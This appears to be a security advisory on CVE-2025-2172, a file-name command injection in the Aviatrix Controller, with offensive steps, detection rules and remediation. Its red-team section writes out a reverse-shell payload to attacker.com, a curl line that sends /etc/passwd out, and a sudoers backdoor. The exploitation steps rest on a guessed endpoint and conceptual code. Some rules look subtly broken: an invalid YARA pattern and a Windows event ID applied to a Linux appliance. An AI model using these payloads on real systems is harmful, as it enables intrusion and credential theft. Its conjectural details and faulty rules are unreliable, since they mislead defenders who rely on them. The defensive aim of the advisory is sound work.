CVE-2025-2172

Executive Summary

CVE-2025-2172 is a critical command injection vulnerability in the Aviatrix Controller, a popular multi-cloud networking and security platform. The vulnerability exists in versions prior to 7.1.4208, 7.2.5090, and 8.0.0. The software fails to properly sanitize user-supplied input before passing it to command-line utilities, allowing an attacker to inject arbitrary operating system commands via specially crafted filenames. Successful exploitation could lead to full compromise of the Aviatrix Controller, including data exfiltration, lateral movement within the cloud environment, and persistent backdoor access. The vulnerability is classified as a command injection (CWE-77) and is remotely exploitable with low complexity, requiring only low-level privileges. No public proof-of-concept (PoC) or exploit code has been released at this time, but the risk is significant due to the critical role Aviatrix plays in cloud networking.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
• Privileges Required: Low (PR:L) – An attacker needs only low-level privileges (e.g., a standard user account) to exploit the flaw.
• User Interaction: None (UI:N) – No user action is required for exploitation.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full read access to all data on the controller.
• Integrity Impact: High (I:H) – Full write access to modify or delete data.
• Availability Impact: High (A:H) – Full ability to disrupt service availability.

Threat Level: Critical. The combination of remote exploitability, low privileges required, and high impact makes this a top-priority vulnerability for any organization using Aviatrix Controller.

Deep Dive & Mechanics

The vulnerability resides in the file upload or file processing functionality of the Aviatrix Controller. When a user uploads a file or provides a filename, the application does not sanitize the input before passing it to underlying command-line utilities (e.g., mv, cp, unzip, or custom scripts). An attacker can inject shell metacharacters such as ;, |, &, $(), or backticks within the filename. When the filename is used in a shell command, the injected characters break out of the intended command and execute arbitrary OS commands.

For example, if the application executes a command like:

mv /tmp/uploads/<filename> /data/files/

An attacker could provide a filename such as:

;id > /tmp/pwned.txt;

This would result in the execution of:

mv /tmp/uploads/;id > /tmp/pwned.txt; /data/files/

The shell interprets the semicolons as command separators, executing id and writing its output to /tmp/pwned.txt.

The vulnerability is present in all versions prior to the patched releases. The fix involves proper input validation and sanitization, such as rejecting filenames containing shell metacharacters or using parameterized APIs that avoid shell invocation.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess
import os

def process_file(filename):
    # Vulnerable: directly concatenating user input into shell command
    cmd = "mv /tmp/uploads/" + filename + " /data/files/"
    subprocess.call(cmd, shell=True)

Patched Code (Conceptual):

import subprocess
import os
import shlex

def process_file(filename):
    # Patched: sanitize filename to remove dangerous characters
    safe_filename = shlex.quote(filename)
    # Alternatively, use a list-based API to avoid shell
    cmd = ["mv", "/tmp/uploads/" + filename, "/data/files/"]
    subprocess.call(cmd, shell=False)

The patched version uses shlex.quote() to escape shell metacharacters or, better yet, uses a list-based subprocess call that does not invoke a shell, thus preventing command injection entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to an Aviatrix Controller instance (version < 7.1.4208, < 7.2.5090, or < 8.0.0).
• A valid low-privilege user account on the controller.

Exploitation Steps:

1. Identify the vulnerable endpoint: The file upload or processing functionality. This could be in the web UI or API. For example, an API endpoint like /api/v1/upload that accepts a filename parameter.

2. Craft the malicious filename: Use shell metacharacters to inject commands. For example:

   ;nc -e /bin/bash attacker.com 4444;
   

   This would attempt to spawn a reverse shell to attacker.com on port 4444.

3. Send the request: Using a tool like curl:

   curl -X POST -F "file=@/path/to/valid/file" -F "filename=;nc -e /bin/bash attacker.com 4444;" http://target/api/v1/upload
   

4. Receive the reverse shell: On the attacker machine, listen for the connection:

   nc -lvnp 4444
   

5. Escalate privileges: Once inside, look for privilege escalation vectors (e.g., sudo misconfigurations, kernel exploits) to gain root access.

Alternative Payloads:

• Data exfiltration: ;curl http://attacker.com/$(cat /etc/passwd);
• Persistence: ;echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers;

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual filenames: Look for filenames containing shell metacharacters (;, |, &, $, `, (, ), {, }, <, >, !, #, ~, *, ?, [, ], \). These are strong indicators of an injection attempt.

2. Audit command execution logs: Check system logs (e.g., /var/log/syslog, /var/log/auth.log) for unexpected commands being executed by the Aviatrix Controller process.

3. Network monitoring: Look for outbound connections to unknown IPs on unusual ports (e.g., 4444, 1337) from the controller.

4. File integrity monitoring: Monitor changes to critical system files (e.g., /etc/passwd, /etc/sudoers, /etc/shadow).

5. Honeypot files: Create decoy files with suspicious names to trap attackers.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to IP addresses not in the organization's allowlist.
  • Connections on non-standard ports (e.g., 4444, 1337, 31337).
  • DNS queries to domains associated with known C2 infrastructure.

• File System IOCs:

  • Unexpected files in /tmp/, /var/tmp/, or /dev/shm/.
  • Modified system binaries (e.g., ls, ps, netstat).
  • New user accounts or modifications to /etc/passwd or /etc/shadow.
  • Presence of web shells or backdoor scripts.

• Process IOCs:

  • Unusual processes spawned by the Aviatrix Controller (e.g., nc, bash, python, perl).
  • Processes running with elevated privileges unexpectedly.

• Log IOCs:

  • Repeated failed login attempts followed by successful login.
  • Commands containing shell metacharacters in application logs.
  • sudo or su usage by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2025_2172_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-2172 in Aviatrix Controller"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2172"
        severity = "critical"
    strings:
        $shell_meta1 = /[;|&$`(){}<>!#~*?[\]\\]/
        $shell_meta2 = /$(/
        $shell_meta3 = /`/
        $aviatrix_path = /\/api\/v1\/upload/
    condition:
        $aviatrix_path and any of ($shell_meta*)
}

Sigma Rule

title: CVE-2025-2172 Aviatrix Controller Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts via filenames in Aviatrix Controller logs
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2172
logsource:
    category: application
    product: aviatrix_controller
detection:
    selection:
        EventID: 4688  # Process creation
        CommandLine|contains:
            - ';'
            - '|'
            - '&'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in filenames (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2172 Aviatrix Controller Command Injection Attempt"; flow:to_server,established; content:"/api/v1/upload"; http_uri; pcre:"/[;|&$`(){}<>!#~*?[\]\\]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Aviatrix Controller version 7.1.4208, 7.2.5090, or 8.0.0 or later immediately.
2. Workaround: If patching is not possible, restrict access to the Aviatrix Controller to trusted IPs only via firewall rules.
3. Disable vulnerable features: Temporarily disable file upload or processing functionality if not critical.

Long-Term Mitigations:

1. Input validation: Implement strict input validation for all user-supplied data, especially filenames. Use allowlists of safe characters.
2. Least privilege: Run the Aviatrix Controller with the minimum necessary privileges. Avoid running as root.
3. Web application firewall (WAF): Deploy a WAF with rules to block requests containing shell metacharacters in filenames.
4. Regular security audits: Conduct periodic code reviews and penetration testing.
5. Monitor for IOCs: Continuously monitor for the indicators listed above.

Valters IT